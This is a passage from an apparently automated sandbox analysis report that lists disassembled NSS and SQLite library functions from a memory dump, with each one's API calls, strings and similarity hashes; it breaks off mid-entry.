Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c619f8377e228085ceee9c3e203d1d8e3a8f56deaae366561a2a7989f9094a62
Instruction ID: ef220cb277ef8729d0c33e0b6c0ef820487334366f6391e16902567cfba7969b
Opcode Fuzzy Hash: c619f8377e228085ceee9c3e203d1d8e3a8f56deaae366561a2a7989f9094a62
Instruction Fuzzy Hash: E2022FA2D0CBC8AEF7318671C44C7D76BE09B45328F0C1A6EC6DE46683D7AC59889365

Function 6C5B0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5B103E
EnterCriticalSection.KERNEL32(?), ref: 6C5B1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5B1190
sqlite3_free.NSS3(00000000), ref: 6C5B1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5B126E
sqlite3_free.NSS3(?), ref: 6C5B127F

Strings

Psl, xrefs: 6C5B109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5B1267
winAccess, xrefs: 6C5B129B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Psl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1037850672
Opcode ID: 394508d2426dbf25de9d738553ccdc9736f5e230e0edba4765d47bd380070e59
Instruction ID: db38570d0a0007e617927067324b6726e72aa80c9ca57b127adf791b42a68d29
Opcode Fuzzy Hash: 394508d2426dbf25de9d738553ccdc9736f5e230e0edba4765d47bd380070e59
Instruction Fuzzy Hash: 457139317056199FEB44CF25DCA9AAF7B75FB87314F240639E915A7A80EB30D801C7A2

Function 6C676C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C3F

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C60
PR_ExplodeTime.NSS3(00000000,6C621C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C94

Strings

gfff, xrefs: 6C676CFD
gfff, xrefs: 6C676CF5
gfff, xrefs: 6C676D9C
gfff, xrefs: 6C676D66
gfff, xrefs: 6C676D30

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: cd5c89e07cc709300ace23693ce4f02e2b4cb479fc9a688699c2b9fe34caac90
Instruction ID: 70f3b5336c23a227bd0e35b687fa7c829ca067944fb99ec95d0d917649dd3475
Opcode Fuzzy Hash: cd5c89e07cc709300ace23693ce4f02e2b4cb479fc9a688699c2b9fe34caac90
Instruction Fuzzy Hash: A2513B72B016494FC718CDADDC527DEBBDAABA4310F48C23AE442DB781EA78D906C751

Function 6C6F0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C6F1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F1353

Strings

NULL, xrefs: 6C6F119E
-- , xrefs: 6C6F0FF5
$, xrefs: 6C6F12A0
%02x, xrefs: 6C6F12F6
%lld, xrefs: 6C6F114B
'%.*q', xrefs: 6C6F1217, 6C6F1292
zeroblob(%d), xrefs: 6C6F1223

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: d739e3eadf3de14036a3bf4899ab9fb651e91a1a16b00567788319a769e8ef3d
Instruction ID: 3072c9bdb272fb8dff1de109b31244a75127840e64b7ec5ce425b1c5771d0cd8
Opcode Fuzzy Hash: d739e3eadf3de14036a3bf4899ab9fb651e91a1a16b00567788319a769e8ef3d
Instruction Fuzzy Hash: 95E1B3B160C3409FD704CF58C480AABBBF2BF86398F14491DE9A587B51D771E946CB4A

Function 6C6F8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F9209

Strings

3333, xrefs: 6C6F925E
UUUU, xrefs: 6C6F9255

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: ee5fa083967c0c0cf300499d73027442966cddded69102c571544468133bb16d
Instruction ID: 96aacde7b9c11d151ddce062a0fac06f1205976de8636bbc5f86edacd135b343
Opcode Fuzzy Hash: ee5fa083967c0c0cf300499d73027442966cddded69102c571544468133bb16d
Instruction Fuzzy Hash: CCA1BE72E001159BDB04CF68CC94BDEB7B6AF49328F194179E915A7341E736AC42CBA4

Function 6C68BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C68BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C68BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C68BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C68BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C68BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C68BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C68BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C68BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C68BE1E

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 76953c99a35981b45f404d9f00968aef154bff3c852a9b2a0b1f0627858c7e95
Instruction ID: d7d5354c02536375824ee003bd6d03c7def66738c6c6e48428e913b750e274e1
Opcode Fuzzy Hash: 76953c99a35981b45f404d9f00968aef154bff3c852a9b2a0b1f0627858c7e95
Instruction Fuzzy Hash: 2321D576E062996BFF0046569C47F8F32B49BD278DF080464FA26EE641F7109418C6FE

Function 6C738D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7814E4,6C6ECC70), ref: 6C738D47
PR_GetCurrentThread.NSS3 ref: 6C738D98

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C738E7B
htons.WSOCK32(?), ref: 6C738EDB
PR_GetCurrentThread.NSS3 ref: 6C738F99
PR_GetCurrentThread.NSS3 ref: 6C73910A

Strings

%u.%u.%u.%u, xrefs: 6C738E74

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 503bf4149f927fde907fedebb522e15b07e958b07641d4dcb4fc2941798504dd
Instruction ID: 8a43d7ea081077208b9390ecb29179b5ca07fbfe0c227e78b255f38008299ee9
Opcode Fuzzy Hash: 503bf4149f927fde907fedebb522e15b07e958b07641d4dcb4fc2941798504dd
Instruction Fuzzy Hash: 4602DD319052718FDB04CF19C5687A6BBB3EF52344F29826AC8996FB93C731D909C391

Function 6C5BEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

table, xrefs: 6C5BF05C, 6C5BFABC, 6C5BFAC7
temporary table name must be unqualified, xrefs: 6C5BF734
%s %T already exists, xrefs: 6C5BFAC8
there is already an index named %s, xrefs: 6C5BF9D7
sqlite_master, xrefs: 6C5BF0AB, 6C5BF2DA, 6C5BF757, 6C5BF93E
view, xrefs: 6C5BF061, 6C5BF071, 6C5BFAB7
not authorized, xrefs: 6C5BF957, 6C5BF9BA
sqlite_temp_master, xrefs: 6C5BF0A6, 6C5BF2D5
authorizer malfunction, xrefs: 6C5BF95C, 6C5BF9BF, 6C5BFA5E, 6C5BFA8B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: eb69cba95da9d29ef2a71ff3d2616d8a3350a887688f23511b1adbac181dedf2
Instruction ID: 30e95ea999de615739edfc80580d949486660102e6e6bfc5ca8a8c78a55b8048
Opcode Fuzzy Hash: eb69cba95da9d29ef2a71ff3d2616d8a3350a887688f23511b1adbac181dedf2
Instruction Fuzzy Hash: A272A178E042058FDB14CF68C890BAABBF1BF89308F1482A9D815AB752D775E855CB90

Function 6C6D9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5AC52B), ref: 6C6D9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA114

Strings

%s at line %d of [%.10s], xrefs: 6C6DA02E, 6C6DA10D
database corruption, xrefs: 6C6DA029, 6C6DA108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6DA01F, 6C6DA0E4, 6C6DA0FE

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: fd69fcab2eecaf1f6d124f39e208d1bfca464be685544af61d5eb47962d05cc2
Instruction ID: 9b3a496d1436937cf45dfd5c4abf7478639dbac9ba23f9470e03741135354919
Opcode Fuzzy Hash: fd69fcab2eecaf1f6d124f39e208d1bfca464be685544af61d5eb47962d05cc2
Instruction Fuzzy Hash: 5922C27160C7419FC704CF29C4A066AB7E1BFCA348F158A2DE5DA97B42DB31E845CB4A

Function 6C6F9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5B8637,?,?), ref: 6C6F9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5B8637), ref: 6C6F9ED6

Strings

%s at line %d of [%.10s], xrefs: 6C6F9ECF
database corruption, xrefs: 6C6F9ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F9EC0

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 9180881b77ef915f134e71eaca12e8a99a06e9ba1d3a435f3277ff0d02554ca5
Instruction ID: 8530c91630e7d76ff3acd8edcfa655f1c44ccddb9b1cfe95b2c78f3b05561549
Opcode Fuzzy Hash: 9180881b77ef915f134e71eaca12e8a99a06e9ba1d3a435f3277ff0d02554ca5
Instruction Fuzzy Hash: AB81B431B012198FDB04CF6AC880ADEB3F7EF89308B158529D925AB751EB31ED46CB54

Function 6C707F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7081BC

Strings

out of memory, xrefs: 6C70835B
BINARY, xrefs: 6C708126

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 70f654f4727571b6d2eab23cbb0bb0751e7e456988d113aad358506c83084e7f
Instruction ID: 1ca1371240b46dd7063723108a5d30dd42553fedc183e9502b8d8c84c9870a59
Opcode Fuzzy Hash: 70f654f4727571b6d2eab23cbb0bb0751e7e456988d113aad358506c83084e7f
Instruction Fuzzy Hash: B1528BB1E05218DFDB14CF99C990BADBBF2BF49318F25816ED815AB751D730A846CB80

Function 6C689EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C689ED6

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C689EE4

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C689F38

Part of subcall function 6C68D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C689F0B), ref: 6C68D03B
Part of subcall function 6C68D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C68D04E
Part of subcall function 6C68D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C68D07B
Part of subcall function 6C68D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C68D08E
Part of subcall function 6C68D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C68D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C689F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C689F59

Part of subcall function 6C689D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C689C5B), ref: 6C689D82
Part of subcall function 6C689D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C689C5B), ref: 6C689DA9
Part of subcall function 6C689D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C689C5B), ref: 6C689DCE
Part of subcall function 6C689D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C689C5B), ref: 6C689E43

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 2c5f968bc78aab5bd485d1193cbede8e4b3107d9faa2b4f07a0f46de0ab34fd1
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: B5112EB5F062015BF7109A659C00B9B73A4AF9534CF240135E51A87740FB71E559C2BE

Function 6C73CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73D086
PR_Malloc.NSS3(00000001), ref: 6C73D0B9
PR_Free.NSS3(?), ref: 6C73D138

Strings

>, xrefs: 6C73CF5B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: c2e86caf183a3e4378508cac5b8b714b8a7ad419d8b6be0c32cad6c131b3e09e
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: E7D19D62B9157A0BFB14487C8E613EA77938762374F586335D1298BBE7E719C843C309

Function 6C5BAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5BAE9F
Psl, xrefs: 6C5BADDB, 6C5BADF5, 6C5BAE6A
psl, xrefs: 6C5BADA7
0sl, xrefs: 6C5BACC0, 6C5BAD22, 6C5BAD5E, 6C5BAE45
winUnlock, xrefs: 6C5BAE18

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
